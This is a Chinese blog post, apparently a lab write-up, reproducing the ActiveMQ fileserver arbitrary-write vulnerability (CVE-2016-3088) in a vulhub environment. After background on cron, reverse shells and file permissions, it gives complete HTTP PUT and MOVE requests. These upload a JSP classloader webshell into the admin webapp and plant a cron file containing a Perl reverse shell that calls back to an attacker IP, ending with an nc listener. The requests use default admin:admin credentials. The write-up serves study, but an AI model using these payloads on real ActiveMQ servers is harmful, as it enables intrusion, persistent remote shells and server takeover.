title="知识拓展"></a><strong>知识拓展</strong></h2><p>背景简述和漏洞详情里面有几点和漏洞强相关的知识点是我之前没有接触过的，需要学习和理解一下：</p><blockquote><p>cron是什么</p><p>反弹shell是什么</p><p>cron或ssh key和反弹shell的关系</p><p>jetty和jetty.xml是什么</p><p>linux文件权限</p></blockquote><p>下面来一个一个了解一下：</p><h3 id="cron是什么"><a href="#cron是什么" class="headerlink" title="cron是什么"></a><strong>cron是什么</strong></h3><p>在这个链接找到了cron的介绍：<a href="https://www.simcf.cc/9288.html">Cron是什么？利用Cron Job自动执行定时任务</a></p><p>简单来说，cron是linux系统的守护进程，用于在特定时间自动执行重复任务。</p><h3 id="反弹shell是什么"><a href="#反弹shell是什么" class="headerlink" title="反弹shell是什么"></a><strong>反弹shell是什么</strong></h3><p>简单来说反弹shell（reverse shell）就是反向的shell，是相对于标准shell的一个概念。</p><p>标准shell是攻击者作为客户端去连接目标服务器；</p><p>而反弹shell是攻击者作为服务器，监听某端口，而目标设备作为客户端主动连接攻击者。</p><p>反弹shell的应用场景：</p><blockquote><p>目标机在局域网内</p><p>目标机ip地址是动态的</p><p>有防火墙等限制，目标机只能发请求，不能收请求</p><p>不确定目标机何时具备连接条件</p></blockquote><p>这部分主要参考：<a href="https://zhuanlan.zhihu.com/p/138393396">反弹shell原理与实现</a></p><p>至于具体的反弹shell百度一搜全都是，就不说了。</p><h3 id="cron或ssh-key和反弹shell的关系"><a href="#cron或ssh-key和反弹shell的关系" class="headerlink" title="cron或ssh key和反弹shell的关系"></a><strong>cron或ssh key和反弹shell的关系</strong></h3><p>cron和反弹shell的关系很好理解，就是往目标机的定时任务文件中写反弹shell脚本；</p><p>ssh key和反弹shell的关系，从网上查到的资料看，是往目标机里面写了攻击机的ssh key（公钥）之后，攻击机就可以免密登录目标机。可是这不还是攻击机做客户端，目标机做服务器么？还是需要目标机开启ssh服务，并且允许攻击机连接，和反弹关系不大呀。。。小小的脑袋，大大的问号，也不知道是牵强附会，还是我没找到正确的资料。。</p><p>这部分主要参考：</p><p><a href="https://blog.csdn.net/qq_36119192/article/details/84641379">Linux反弹shell</a></p><p><a href="https://www.freebuf.com/vuls/148758.html">不请自来 | Redis 未授权访问漏洞深度利用</a></p><h3 id="jetty和jetty-xml是什么"><a href="#jetty和jetty-xml是什么" class="headerlink" title="jetty和jetty.xml是什么"></a><strong>jetty和jetty.xml是什么</strong></h3><p>简单来说，jetty是一种开源的servlet容器，是基于java的web容器，和tomcat是一类东西。jetty是通过API或者XML文件进行配置的，而jetty.xml是jetty的一个重要配置文件。</p><h3 id="linux文件权限"><a href="#linux文件权限" class="headerlink" title="linux文件权限"></a><strong>linux文件权限</strong></h3><p>vulhub官网教程中，据不完全统计，至少有两句话提到了权限相关的问题：</p><blockquote><p>This method requires the ActiveMQ run as root, otherwise it will not be able to write to the cron file.</p><p>这个方法需要ActiveMQ是root运行，否则也不能写入cron文件。</p><p>In some cases, the owner of jetty.xml and jar is the user of the web container, so the success rate of writing crontab is higher.</p><p>有的情况下，jetty.xml和jar的所有人是web容器的用户，所以相比起来，写入crontab成功率更高一点。</p></blockquote><p>总而言之，由于是通过ActiveMQ进行文件上传，因此运行ActiveMQ的用户必须有目标文件夹，或者需要修改的文件的写权限才行。</p><p>那么要确定能否写入或者修改文件，就需要确定两件事情：</p><blockquote><p>文件或文件夹权限</p><p>运行ActiveMQ的用户</p></blockquote><p>下面就以&#x2F;etc&#x2F;cron.d目录和jetty.xml文件来演示如何获取以上两点信息。（<strong>这部分内容仅仅是知识扩展，对于实际攻击没什么意义</strong>）</p><h4 id="文件或文件夹权限"><a href="#文件或文件夹权限" class="headerlink" title="文件或文件夹权限"></a><strong>文件或文件夹权限</strong></h4><p>首先需要运行docker容器activemq&#x2F;CVE-2016-3088</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker-compose up -d</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image.jpg" alt="Image"></p><p>然后可以通过登录网页<a href="http://your-ip:8161/%E7%A1%AE%E8%AE%A4%E5%AE%B9%E5%99%A8%E8%BF%90%E8%A1%8C%E6%88%90%E5%8A%9F">http://your-ip:8161/确认容器运行成功</a></p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594341516-14.jpg" alt="Image"></p><p>接下来用下面的命令查看正在运行的docker容器id</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker container ps</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594430099-16.jpg" alt="Image"></p><p>然后用下面这个命令进入容器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker exec -it 容器id /bin/bash</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594467496-18.jpg" alt="Image"></p><p>然后就用cd命令定位到我们想观察的点，再ls -l看看文件夹和文件的所有者和权限设置</p><p>从下图中可以看到&#x2F;etc&#x2F;cron.d目录的所有者是root，root用户的权限是可读写可执行；root组和其他组用户权限都是可读可执行。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594489177-20.jpg" alt="Image"></p><p>而从下图中可以看到jetty.xml文件的所有者也是root，root用户的权限是可读写，其他用户的权限是可读。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594503923-22.jpg" alt="Image"></p><p>运行ActiveMQ的用户</p><p>我想到两种方法查看运行ActiveMQ的用户：</p><p>第一种 通过ps命令</p><p>容器里面是没有ps命令的，需要用下面的命令先安装一下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-get update &amp;&amp; apt-get install procps</span><br></pre></td></tr></table></figure><p>安装好之后，用下面的命令查看运行activemq console的用户</p><p>ps aux</p><p>第二种 通过网页</p><p>访问网页：<a href="http://your-ip:8161/admin/test/systemProperties.jsp%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%E8%BF%90%E8%A1%8CActiveMQ%E7%9A%84%E7%94%A8%E6%88%B7%E6%98%AFroot%EF%BC%9A">http://your-ip:8161/admin/test/systemProperties.jsp可以看到运行ActiveMQ的用户是root：</a></p><p><img src="/imgs/$%7Bfiilename%7D/image-20240513180456744.png" alt="image-20240513180456744"></p><p>综上所述，运行ActiveMQ的用户是root，而root对&#x2F;etc&#x2F;cron.d目录和jetty.xml文件都是有写权限的，因此理论上上传crontab文件，以及修改jetty.xml文件都应该是可实现的。</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a><strong>漏洞复现</strong></h2><h3 id="版本要求"><a href="#版本要求" class="headerlink" title="版本要求"></a><strong>版本要求</strong></h3><p>根据vulhub上的背景简述可知，该漏洞影响版本是ActiveMQ在5.14.0之前的版本（不包括5.14.0）。</p><p>既然是vulhub提供的漏洞复现环境，那版本肯定是没问题的啦，不过如果想要确认一下版本的话，可以用浏览器访问<a href="http://your-ip:8161/admin/">http://your-ip:8161/admin/</a></p><p><img src="/imgs/$%7Bfiilename%7D/image-20240513180533703.png" alt="image-20240513180533703"></p><h3 id="途径1：写入webshell"><a href="#途径1：写入webshell" class="headerlink" title="途径1：写入webshell"></a><strong>途径1：写入webshell</strong></h3><p>前提条件</p><blockquote><p>需要知道ActiveMQ的绝对路径</p><p>需要能登录admin或者api</p></blockquote><p>思路分析</p><p>由于要满足以上两个前提条件，并且ActiveMQ的绝对路径可以通过<a href="http://your-ip:8161/admin/test/systemProperties.jsp%E9%A1%B5%E9%9D%A2%E8%8E%B7%E5%8F%96%EF%BC%8C%E8%80%8C%E8%BF%99%E4%B8%AA%E9%A1%B5%E9%9D%A2%E4%B9%9F%E9%9C%80%E8%A6%81%E7%99%BB%E5%BD%95admin%E4%B9%8B%E5%90%8E%E6%89%8D%E8%83%BD%E8%AE%BF%E9%97%AE%E3%80%82%E5%9B%A0%E6%AD%A4%EF%BC%8C%E5%BA%94%E8%AF%A5%E6%8C%89%E7%85%A7%E5%A6%82%E4%B8%8B%E6%AD%A5%E9%AA%A4%E5%AE%9E%E6%96%BD%E6%94%BB%E5%87%BB%EF%BC%9A">http://your-ip:8161/admin/test/systemProperties.jsp页面获取，而这个页面也需要登录admin之后才能访问。因此，应该按照如下步骤实施攻击：</a></p><blockquote><p>获取admin应用的用户名和密码</p><p>访问<a href="http://your-ip:8161/admin/test/systemProperties.jsp%E8%8E%B7%E5%8F%96ActiveMQ%E7%9A%84%E7%BB%9D%E5%AF%B9%E8%B7%AF%E5%BE%84">http://your-ip:8161/admin/test/systemProperties.jsp获取ActiveMQ的绝对路径</a></p><p>上传webshell</p><p>将webshell移动到admin所在文件夹</p><p>连接webshell</p></blockquote><p>利用步骤</p><p>1、获取admin应用的用户名和密码</p><p>不是重点，不详细说了，而且这个步骤放在这篇文章里完全是为了攻击链的完整性，其实vulhub的教程已经说了默认用户名和密码都是admin。</p><p>我能想到的几种获取用户名和密码的方法：</p><blockquote><p>尝试默认用户名和密码</p><p>尝试弱口令（暴力破解）</p><p>社工</p></blockquote><p>暴力破解可以用Burp Suite的intruder模块。</p><p>2、获取ActiveMQ的绝对路径</p><p>得到admin应用的用户名和密码之后，就可以访问网页<a href="http://your-ip:8161/admin/test/systemProperties.jsp%E6%9D%A5%E8%8E%B7%E5%8F%96ActiveMQ%E7%9A%84%E7%BB%9D%E5%AF%B9%E8%B7%AF%E5%BE%84%E4%BA%86%EF%BC%8C%E5%85%B7%E4%BD%93%E8%A7%81%E4%B8%8B%E5%9B%BE%E7%BA%A2%E6%A1%86%E6%A1%86%E3%80%82">http://your-ip:8161/admin/test/systemProperties.jsp来获取ActiveMQ的绝对路径了，具体见下图红框框。</a></p><p><img src="/imgs/$%7Bfiilename%7D/Image.png" alt="Image"></p><p>3、上传webshell</p><p>先得把webshell上传到fileserver，之后才能从fileserver转移。由于ActiveMQ是个java程序，因此需要传个jsp webshell。</p><p>在网上找了个jsp webshell：<a href="https://blog.csdn.net/qq_43615820/article/details/116357744">蚁剑jsp一句话木马</a></p><p>用PUT方法把webshell上传到fileserver：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">PUT</span> <span class="string">/fileserver/ele.txt</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>JSESSIONID=nc4v0my0vmaso0b829zo2e5f</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Basic YWRtaW46YWRtaW4=</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span><span class="punctuation">: </span>document</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span><span class="punctuation">: </span>navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span><span class="punctuation">: </span>same-origin</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span><span class="punctuation">: </span>?1</span><br><span class="line"><span class="attribute">Te</span><span class="punctuation">: </span>trailers</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>780</span><br><span class="line"></span><br><span class="line"><span class="language-gradle"></span></span><br><span class="line"><span class="language-gradle">&lt;%!</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">class</span> U <span class="keyword">extends</span> ClassLoader &#123;</span></span><br><span class="line"><span class="language-gradle">U(ClassLoader c) &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">super</span>(c);</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">public</span> <span class="keyword">Class</span> g(<span class="keyword">byte</span>[] b) &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">return</span> <span class="keyword">super</span>.defineClass(b, <span class="number">0</span>, b.length);</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">public</span> <span class="keyword">byte</span>[] base64Decode(String str) <span class="keyword">throws</span> Exception &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">Class</span> clazz = <span class="keyword">Class</span>.forName(<span class="string">&quot;sun.misc.BASE64Decoder&quot;</span>);</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">return</span> (<span class="keyword">byte</span>[]) clazz.getMethod(<span class="string">&quot;decodeBuffer&quot;</span>, String.<span class="keyword">class</span>).invoke(clazz.newInstance(), str);</span></span><br><span class="line"><span class="language-gradle">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">Class</span> clazz = <span class="keyword">Class</span>.forName(<span class="string">&quot;java.util.Base64&quot;</span>);</span></span><br><span class="line"><span class="language-gradle">Object decoder = clazz.getMethod(<span class="string">&quot;getDecoder&quot;</span>).invoke(<span class="keyword">null</span>);</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">return</span> (<span class="keyword">byte</span>[]) decoder.getClass().getMethod(<span class="string">&quot;decode&quot;</span>, String.<span class="keyword">class</span>).invoke(decoder, str);</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle">%&gt;</span></span><br><span class="line"><span class="language-gradle">&lt;%</span></span><br><span class="line"><span class="language-gradle">String cls = request.getParameter(<span class="string">&quot;passwd&quot;</span>);</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">if</span> (cls != <span class="keyword">null</span>) &#123;</span></span><br><span class="line"><span class="language-gradle"><span class="keyword">new</span> U(<span class="keyword">this</span>.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);</span></span><br><span class="line"><span class="language-gradle">&#125;</span></span><br><span class="line"><span class="language-gradle">%&gt;</span></span><br></pre></td></tr></table></figure><p>Response报文状态码204表示上传成功：</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594854417-27.png" alt="Image"></p><p>4、将webshell移动到admin所在文件夹</p><p>用MOVE方法进行webshell的移动</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">MOVE</span> <span class="string">/fileserver/ele.txt</span> <span class="meta">HTTP/2</span></span><br><span class="line"><span class="attribute">Destination</span><span class="punctuation">: </span>file:///opt/activemq/webapps/admin/ele.jsp</span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>JSESSIONID=nc4v0my0vmaso0b829zo2e5f</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Basic YWRtaW46YWRtaW4=</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span><span class="punctuation">: </span>document</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span><span class="punctuation">: </span>navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span><span class="punctuation">: </span>same-origin</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span><span class="punctuation">: </span>?1</span><br><span class="line"><span class="attribute">Te</span><span class="punctuation">: </span>trailers</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br></pre></td></tr></table></figure><p>同样，Response报文状态码204表示移动成功：</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594898264-29.png" alt="Image"></p><p>5、连接webshell</p><p>这里用蚁剑演示一下，<strong>重点是记住admin应用是需要登录的，所以记得一定要在连接中添加Authorization头</strong>。</p><p>基础配置：</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594920183-31.png" alt="Image"></p><p>请求信息：</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715594937005-33.png" alt="Image"></p><h3 id="途径3：写入cron拿反弹shell"><a href="#途径3：写入cron拿反弹shell" class="headerlink" title="途径3：写入cron拿反弹shell"></a><strong>途径3：写入cron拿反弹shell</strong></h3><p>前提条件</p><blockquote><p>需要运行ActiveMQ的用户有root权限</p><p>服务器开启了cron服务</p><p>运行ActiveMQ的用户有使用crontab的权限</p></blockquote><p>前两点在知识拓展中已经被证明满足了，而第3点在默认情况下是满足的，除非存在cron.allow或者cron.deny文件，但这两个文件在vulhub提供的漏洞环境中并不存在。因此本环境理论上可以通过写入cron拿反弹shell。</p><p>思路分析</p><p>这种方法思路就比较简单了：</p><blockquote><p>上传cron文件到fileserver</p><p>把cron文件从fileserver转移到&#x2F;etc&#x2F;cron.d&#x2F;ele</p><p>攻击机上开启监听并等待反弹shell连接</p></blockquote><p>这个网页有反弹shell合集，可以参考：<a href="https://www.freebuf.com/articles/web/247967.html">反弹shell的方法总结</a></p><p><strong>需要注意以下三点</strong>：</p><blockquote><p>首先是vulhub提示的cron配置文件中换行一定要\n，不能是\r\n，否则crontab执行会失败。这一点在下面的漏洞利用过程中没有体会到。</p><p>另外，&#x2F;etc&#x2F;cron.d 文件夹中的任务文件命名有特殊要求，只能使用 [\w-] 字符，不能有 . （<a href="https://blog.51cto.com/u_13886444/2317402">&#x2F;etc&#x2F;cron.d 攻略</a>）</p><p>vulhub提供的示例中反弹shell用的是perl shell，这个反弹shell能成功的前提是服务器上安装了perl，另外，是否需要知道perl的绝对路径要看运气（看服务器上是否有相关的软链接）。</p><p>测试过程中我也尝试了cron文件中写bash反弹shell，但是反弹shell没有执行成功，目前还不知道是什么原因。网上搜索cron反弹shell的资料时，发现有人在其他环境上尝试bash反弹shell也没成功。。</p></blockquote><p>利用步骤</p><p>1、上传cron文件到fileserver</p><p>payload如下，需要修改Host头</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>JSESSIONID=1afx396fq4o7818mkoe7sa03x1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Basic YWRtaW46YWRtaW4=</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span><span class="punctuation">: </span>document</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span><span class="punctuation">: </span>navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span><span class="punctuation">: </span>same-origin</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span><span class="punctuation">: </span>?1</span><br><span class="line"><span class="attribute">Te</span><span class="punctuation">: </span>trailers</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>243</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">*/1 * * * * root perl -e &#x27;use Socket;$i=&quot;192.168.108.129</span><br><span class="line">&quot;;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i))))&#123;open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);&#125;;&#x27;</span><br></pre></td></tr></table></figure><p>请求数据部分是cron文件格式的perl反弹shell，*&#x2F;1 * * * *表示定时任务执行时间是每分钟一次，root表示执行定时任务的用户，后面就是perl反弹shell的内容了。万一服务器上没有perl的软链接，就需要写perl的绝对路径了，比如&#x2F;usr&#x2F;bin&#x2F;perl</p><p>此外还要注意，反弹shell中的$i为攻击机ip，$p为攻击机监听的端口。</p><p>Response报文状态码204表示文件上传成功</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715595002379-35.png" alt="Image"></p><p>2、 将GET改为MOVE方式，把它移动到&#x2F;etc&#x2F;cron.d&#x2F;root目录下,路径为Destination: file:&#x2F;&#x2F;&#x2F;etc&#x2F;cron.d&#x2F;root</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">MOVE /fileserver/ele.txt HTTP/2</span><br><span class="line">Destination: file:///etc/cron.d/root</span><br><span class="line">Host: 1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run</span><br><span class="line">Cookie: JSESSIONID=1afx396fq4o7818mkoe7sa03x1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Referer: https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/</span><br><span class="line">Authorization: Basic YWRtaW46YWRtaW4=</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Sec-Fetch-Dest: document</span><br><span class="line">Sec-Fetch-Mode: navigate</span><br><span class="line">Sec-Fetch-Site: same-origin</span><br><span class="line">Sec-Fetch-User: ?1</span><br><span class="line">Te: trailers</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure><p>Response报文状态码204表示文件转移成功</p><p>3、攻击机上开启监听并等待反弹shell连接</p><p>攻击机上用nc开监听，监听7777端口，命令如下：</p><p>nc -l -p 7777</p><p>耐心等一会儿，就能连上服务器了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景简述&quot;&gt;&lt;a href=&quot;#背景简述&quot; class=&quot;headerlink&quot; title=&quot;背景简述&quot;&gt;&lt;/a&gt;&lt;strong&gt;背景简述&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;ActiveMQ的web控制台分为三个应用，admin、api和fileserver，其中</summary>
      
    
    
    
    
    <category term="漏洞复现" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
</feed>
